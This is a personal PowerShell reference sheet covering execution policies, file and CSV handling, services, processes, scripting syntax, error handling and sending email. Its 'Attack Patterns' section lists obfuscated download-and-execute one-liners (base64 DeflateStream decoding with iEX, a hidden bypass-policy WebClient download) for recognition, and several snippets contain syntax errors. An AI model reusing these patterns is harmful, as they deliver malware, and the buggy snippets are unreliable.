Settings
Association
It’s better to associate powershell scripts with notepad.exe that PowerShell for security reasons.
Execution Policy
Get Execution Policy. Powershell execution policy is applied to scripts only. Here are the main policies used:
Get-ExecutionPolicy
> Restricted # no scripts are allowed (default for desktop)
> RemoteSigned # downloaded scripts should be signed (preferred, default for WinServer). For local scripts no signature is required.
> Unrestricted # everything is allowed (dangerous)
> Undefined # Restricted for Win and RemoteSigned for WinServer
> AllSigned # Signatures are required for local scripts also
> ByPass # Nothing is blocked, no warnings and prompts
Other policies, official doc [2].
Set Execution Policy:
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned
Start Services
Registry
Get-ChildItem HKLM:Software | Format-Wide
FUC
Frequently Used Commands.
Get-Help -ShowWindows/-Online/-full # withough any option - short help in the console itself
Working With Files
# Writing to file.
# Method 1
echo "Name, EmployeeID, Eligibility" > employee_eligibility_status.csv
# Method 2
$output_file = "employee_eligibility_status.csv"
Write-Output "Name,EmployeeID,Eleigibility Status" | Out-File $output_file [-Append] # Append is optional, of course
# Enum files in the dir, filter and do something with each one
Get-ChildItem -Path .\testfolder -Filter "*.emp" | ForEach-Object {
$emp = $_.BaseName # get the filename
# do something
}
Copy-Item -Path -Destination -Recurse
Move-Item -Path -Destination -Recurse
Remove-Item -Path -Recurse
Rename-Item -Path -NewName
Test-Path "Path" # check whether the file exists
Get-Content "file" # read the file
Get-Content "file" | Tail -2 # last 2 lines
Get-Content "hugelogfile.txt" | Where-Object { $_ -like "*ERROR*"}
Select-String # +\- grep
# removing files older than
$dir = "C:\Windows\tmp"
$retention = 10
Get-ChildItem -File -Recurse $dir | Where-Object {$_.LastWriteTime -lt (get-date).adddays(-$retention) | % {$_.fullname | del -Force }}
CSV
# Add-Content uses .ToString() on the input
Add-Content -Path "file.csv" -Value "Name, Surname, Age"
$students = @(
'"Alex", "Zverev", "30"',
'"Veronica", "Zvereva", "29"',
'"Johnny", "Depp", "50"')
$students | foreach { Add-Content -Path "file.csv" -Value $_ }
echo ""
$contents = Import-csv "file.csv" | Sort-Object Age | Export-Csv "sortedfile.csv"
XML
[xml]$content = Get-Content "file.xml"
$content.GetType()
$content.MAIN_NODE.COMP
foreach ($entity in $content.GetElementsByTagName("COMP")) {
Write-Output $entity.IP
}
Get-Process | Select-Object -First 2 | Export-Clixml output.xml
JSON
$json = Get-Content "file.json" | Out-String | ConvertFrom-Json
📘 BTFM - Useful For Investigation
You can get the previously executed commands with Get-History
cmdlet. However, what if the last command executed was Clear-History
? That might be suspicious and a lead.
Services
Get-Service | Where-Object { $_.Name like '*a*' } | Where-Object {$_.Status -eq 'Stopped' } | Select-Object -First 3
Get-Service | Where-Object { $_.Status -eq 'running' } | Select-Object -First 1 | Stop-Service -WhatIf # Get services that are rinning, select the first one in the list and tell me what will be stopped if I run Stop-Service (but don't run it yet).
Get-Service | Group-Object -Property ServiceType
Get-Service | ConvertTo-Html -Property name, displayname, status
ConvertTo-Csv
ConvertTo-Json
ConvertTo-Xml
Processes
Get-Process | Out-GridView
Get-Process -Name "*a*" | Select-Object -First 2
Get-Process | Get-Member
Get-Process -Name "*a*" | Select-Object -Property CPU
Get-Process | Where-Object { $_.CPU -ge 1000 }
Get-Process | Sort-Object cpu | Select-Object -First 10 # get the process list, sort by CPU usage and display the first 10 processes
Get-Process -Name "powershell*" | Select * # display ALL info about the process
Get-Process | Where-Object { $_.cpu -gt 10 } | Out-File "file.txt"
Get-Process | Where-Object { $_.cpu -gt 10000 } | Sort-Object cpu | Select -First 1 | Stop-Process # Stop the most cpu costy process
Get-Process | Sort-Object BaseProperty | Group-Object -Property BaseProperty
Get-Process | Sort-Object cpu -Descending | Select-Object -First 10 | Format-Table processname, id, cpu, pm
Files
# useful for a supernova
Get-ChildItem -Path "C:\Windows" -Recurse | ConvertTo-Html -Property name,fullname -CssUril mycss.css | Out-File 'files_in_Windows.html'
$head=@"Some css"@
Get-ChildItem -Path "C:\Windows" -Recurse | ConvertTo-Html -Property name,fullname -Head $head -Title "Report" | Out-File 'files_in_Windows.html'
Decrypting
Write-Host = $whatever # will output the value without invoking anything
📕 RTFM - Attack Patterns
iEX(New-Object IO.Compression.DeflateStream[IO.MemoryStream][System.Convert]::FromBase64String(''),[System.IO.Compression.CompressionMode]::Decompress) | % {New-Object System.IO.StreamReader($_,[System.Text.Encoding]::ASCII)} | % {$_.readToEnd()})
powershell -nopr -ep bypAss -w hiddEN -nonI -co '(nEW-obJECt nEt.WebClIeNt).DoWnloADfile(…;iEX()....'
Remote connection
See what connections are open and what protocols they are using:
Get-CimSession
DCOM
WSMan
Queries
CIM
WMI
Get-WmiObject -Namespace 'root\cimv2' -List | Out-GridView
Scripting
$localvar.GetType()
$global:var # accessible not only from the script, Get-Variable will show it. But open another shell - it won't be there.
Set-Variable -Constant - ReadOnly # check if exists and change if it does
New-Variable
Clear-Variable
Remove-Variable
$var -s [int] # check if int
[int]$var = 100 # force the variable $var to ALWAYS be of int type
$var = [int]100 # apply on var to ensure that the data for this user input is correct
[string]$answer = Read-Host "Question?" -AsSecureString # get user input, convert to string -AsSecureString will not show the contents of the $answer
[validateset("y","Y", "n", "N")]$answer = Read-Host "Are you ok? (y/n)"
[validatelength(5,120)]$answer = Read-Host "What's your name?"
[validaterange(5,120)]$answer = Read-Host "How old are you?"
# Get more with Get-Help about_Functions_advanced_Parameters -ShowWindow
Write-Host -ForegroundColor -BackgroundColor # doesn't return an object, so you CAN'T PIPE the result!!!!
Write-Output # outputs something but also CAN be piped to another command
Write-Error
Write-Warning
Write-Debug -Debug
Write-Verbose -Verbose
⚠️ Double quotes resolve to variale value, while single quotes - don’t. To override this behaviour of double quotes
""
, use a ``` sign.
Operators
# resemble Hugo's syntax, but the operator is placed between the operands.
# also resembles assembly
eq
ceq # case-sensitive operator
neq
lt, gt. le, ge
like # contains
clike # case-senstive contains
notlike
match # use regex
contains # return True or False
Example:
@(THis is a big text to search some keywords in) -like "text"
Strings
string.IndexOf("")
string.Trim()
string.ToUpper()
string.Replace("a", "b")
string.Contains()
string.GetMember() # print all available operations for strings
$this_is_a_multiline = @"Hello
world, I have a question: "How
are you"?"@
Conditions
if (-not ($n -le $n2)) {
"Good"
} else {
"Happy snowman!"
}
if (1 = 1) -and (2 = 2){
"Math is not broken!"
}
else {
"The Universe seems to be exploding"
}
switch($num)
{
1 {"Good"}
2 {"Hm"}
3 {"Hmhm"}
default ("Happy snowman")
}
Collections
# array list
$array = @(1,2,4) # IsFixedSize
$array[1..2]
# list
$list = New-Object System.Collections.ArrayList
# disctionary, not {} instead of ()
$hash_table = @{
"127.0.0.1" = "localhost";
"192.168.1.1" = "router1";
}
Timestamps
# Find diff between today and some point in time
# Method 1
$emp_date = [string]$emp_data[2] -replace "-", "/";
[datetime]$emp_date += " 00:00";
$diff = NEW-TIMESPAN –Start $emp_date –End $today
if ($diff -ge 365*5) {
# do something
}
# Method 2
$emp_date = $emp_data[2];
$DOJ=[datetime]::ParseExact($date, "yyyy-mm-dd", $null)
if($DOJ -le (Get-Date).AddYears(-5) ){
# do something
}
Functions
# unnamed local arg
function Hello-World {
echo $args[0]
# do something
}
Hello-World 1
# prints 1
# named local arg
function Hello-World($names){
foreach $name in $names{
echo "hello"
}
}
$names = @("Jessica", "Mark", "Jason")
Hello-World $names
# parameters ++++
function Hello-World-Remastered{
param
(
[string]Name,
[int]age,
[bool]agree = 1 # default value
)
Write-Output "Hello, $Name who is $age old! You said $agree"
}
Hello-World-Remastered -Name Tariel -age 21 -agree 0
Error Handling
Get-Content "file" -ErrorAction [Stop|SilentlyContinue] -ErrorVariable $err
try{
Get-Help "Something" -ErrorAction Stop -ErrorVariable $error
}
catch [System.IO.FileNotFoundException]{
$ErrorMessage = $_.Exception.Message
$ErrorMessage
Write-Output "Error caught $ErrorMessage" -Foreground Yellow
}
Classes
class Cat {
[int32] age;
[String] name;
[int32] number_of_kittens () {
return 3
}
}
Emails
# create a Mail object
$message = New-Object System.Net.Mail.MailMessage
$message.body = ""
$message.subject = $subject
$message.to.add($to)
$message.from = $from
# create a SMPT client
$SMTPServer = "smtp.gmail.com"
$SMTPPort = 465
$smtp = New-Object System.Net.Mail.SmtpClient($SMTPServer, $SMTPPort);
# Provide creds if needed
$smtp.Credentials = New-Object System.Net.NetworkCredential($Username, $Password);
# use SSL in case you fancy it or if the server requires
$smtp.EnableSSL = $true
# send the message
$smtp.send($message)
References
[1] WMI and CIM docs
[2] PowerShell execution policies for scripts